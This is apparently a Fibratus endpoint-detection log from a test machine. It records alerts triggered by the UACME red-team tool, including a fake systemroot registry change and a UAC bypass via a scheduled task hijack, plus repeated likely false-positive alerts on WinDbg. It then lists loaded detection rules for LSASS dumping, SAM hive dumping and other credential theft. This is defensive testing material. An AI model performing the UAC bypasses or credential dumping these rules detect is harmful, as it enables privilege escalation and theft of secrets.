6672 + Ppid: 7800 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\WINDOWS\system32\mmc.exe" wf.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Exe: C:\WINDOWS\system32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\mmc.exe" wf.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:19:42+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\System.Collections.dll loaded by unmanaged process C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe + Event(s): + Seq: 8384922 + Pid: 17424 + Tid: 15992 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:19:24.4277429 +0100 CET + Params: base_address➜ 7ff9e4870000, checksum➜ 295226, default_address➜ 7ff9e4870000, file_path➜ C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\System.Collections.dll, image_size➜ 249856, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 17424, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 17424 + Ppid: 4584 + Name: DbgX.Shell.exe + Cmdline: + Exe: C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe + Cwd: + SID: + Integrity level: MEDIUM + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:19:42+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\System.Collections.dll loaded by unmanaged process C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe + Event(s): + Seq: 8384922 + Pid: 17424 + Tid: 15992 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:19:24.4277429 +0100 CET + Params: base_address➜ 7ff9e4870000, checksum➜ 295226, default_address➜ 7ff9e4870000, file_path➜ C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\System.Collections.dll, image_size➜ 249856, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 17424, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection + + Pid: 17424 + Ppid: 4584 + Name: DbgX.Shell.exe + Cmdline: + Exe: C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe + Cwd: + SID: + Integrity level: MEDIUM + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:19:42+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\PresentationNative_cor3.dll loaded by unmanaged process C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe + Event(s): + Seq: 8386068 + Pid: 17424 + Tid: 15992 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:19:24.4660083 +0100 CET + Params: base_address➜ 7ff9ae6c0000, checksum➜ 1263196, default_address➜ 7ff9ae6c0000, file_path➜ C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\PresentationNative_cor3.dll, image_size➜ 1241088, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 17424, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, rule.name: .NET assembly loaded by unmanaged process, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055 + + Pid: 17424 + Ppid: 4584 + Name: DbgX.Shell.exe + Cmdline: + Exe: C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe + Cwd: + SID: + Integrity level: MEDIUM + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:19:42+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\PresentationNative_cor3.dll loaded by unmanaged process C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe + Event(s): + Seq: 8386068 + Pid: 17424 + Tid: 15992 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:19:24.4660083 +0100 CET + Params: base_address➜ 7ff9ae6c0000, checksum➜ 1263196, default_address➜ 7ff9ae6c0000, file_path➜ C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\PresentationNative_cor3.dll, image_size➜ 1241088, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 17424, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, rule.name: .NET assembly loaded by unmanaged process, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection + + Pid: 17424 + Ppid: 4584 + Name: DbgX.Shell.exe + Cmdline: + Exe: C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe + Cwd: + SID: + Integrity level: MEDIUM + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:19:44+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\System.ComponentModel.dll loaded by unmanaged process C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe + Event(s): + Seq: 8394024 + Pid: 17424 + Tid: 3080 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:19:24.7155474 +0100 CET + Params: base_address➜ 7ffa04860000, checksum➜ 36074, default_address➜ 7ffa04860000, file_path➜ C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\System.ComponentModel.dll, image_size➜ 20480, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 17424, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055 + + Pid: 17424 + Ppid: 4584 + Name: DbgX.Shell.exe + Cmdline: + Exe: C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe + Cwd: + SID: + Integrity level: MEDIUM + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:19:44+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\System.ComponentModel.dll loaded by unmanaged process C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe + Event(s): + Seq: 8394024 + Pid: 17424 + Tid: 3080 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:19:24.7155474 +0100 CET + Params: base_address➜ 7ffa04860000, checksum➜ 36074, default_address➜ 7ffa04860000, file_path➜ C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\System.ComponentModel.dll, image_size➜ 20480, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 17424, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055 + + Pid: 17424 + Ppid: 4584 + Name: DbgX.Shell.exe + Cmdline: + Exe: C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe + Cwd: + SID: + Integrity level: MEDIUM + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:19:45+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\PresentationFramework-SystemXml.dll loaded by unmanaged process C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe + Event(s): + Seq: 8395876 + Pid: 17424 + Tid: 15992 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:19:24.8147807 +0100 CET + Params: base_address➜ 7ffa04210000, checksum➜ 70774, default_address➜ 7ffa04210000, file_path➜ C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\PresentationFramework-SystemXml.dll, image_size➜ 24576, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 17424, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection + + Pid: 17424 + Ppid: 4584 + Name: DbgX.Shell.exe + Cmdline: + Exe: C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe + Cwd: + SID: + Integrity level: MEDIUM + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:19:45+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\PresentationFramework-SystemXml.dll loaded by unmanaged process C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe + Event(s): + Seq: 8395876 + Pid: 17424 + Tid: 15992 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:19:24.8147807 +0100 CET + Params: base_address➜ 7ffa04210000, checksum➜ 70774, default_address➜ 7ffa04210000, file_path➜ C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\PresentationFramework-SystemXml.dll, image_size➜ 24576, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 17424, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055 + + Pid: 17424 + Ppid: 4584 + Name: DbgX.Shell.exe + Cmdline: + Exe: C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe + Cwd: + SID: + Integrity level: MEDIUM + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:19:45+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\UIAutomationProvider.dll loaded by unmanaged process C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe + Event(s): + Seq: 8397777 + Pid: 17424 + Tid: 3080 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:19:24.8402408 +0100 CET + Params: base_address➜ 7ff9ff7a0000, checksum➜ 99726, default_address➜ 7ff9ff7a0000, file_path➜ C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\UIAutomationProvider.dll, image_size➜ 49152, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 17424, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005 + + Pid: 17424 + Ppid: 4584 + Name: DbgX.Shell.exe + Cmdline: + Exe: C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe + Cwd: + SID: + Integrity level: MEDIUM + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:19:45+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\UIAutomationProvider.dll loaded by unmanaged process C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe + Event(s): + Seq: 8397777 + Pid: 17424 + Tid: 3080 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:19:24.8402408 +0100 CET + Params: base_address➜ 7ff9ff7a0000, checksum➜ 99726, default_address➜ 7ff9ff7a0000, file_path➜ C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\UIAutomationProvider.dll, image_size➜ 49152, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 17424, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, rule.name: .NET assembly loaded by unmanaged process, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection + + Pid: 17424 + Ppid: 4584 + Name: DbgX.Shell.exe + Cmdline: + Exe: C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe + Cwd: + SID: + Integrity level: MEDIUM + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:21:05+01:00 level=info msg=sending alert: [Fake system root environment variable manipulation]. Text: Event(s): + Seq: 8934525 + Pid: 12416 + Tid: 11140 + Type: RegSetValue + CPU: 4 + Name: RegSetValue + Category: registry + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:20:43.3689578 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp, key_handle➜ ffffd60600a95a20, key_path➜ HKEY_CURRENT_USER\Volatile Environment\systemroot, status➜ Success, value_type➜ REG_SZ + Metadata: rule.name: Fake system root environment variable manipulation, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 12416 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 80 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 80] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:21:06+01:00 level=info msg=sending alert: [UAC bypass via RequestTrace scheduled task hijack]. Text: Event(s): + Seq: 8938587 + Pid: 1400 + Tid: 11792 + Type: CreateProcess + CPU: 1 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:20:43.815498 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 404224000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffad0dd8664080, name➜ cmd.exe, pid➜ 8828, ppid➜ 1400, real_ppid➜ 1400, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-04 17:20:43.815498 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 1764865420982907772, rule.name: UAC bypass via RequestTrace scheduled task hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 1400 + Ppid: 828 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [taskhostw.exe] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:21:25+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-04T17:21:25+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-04T17:21:25+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-04T18:17:29+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T18:17:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from 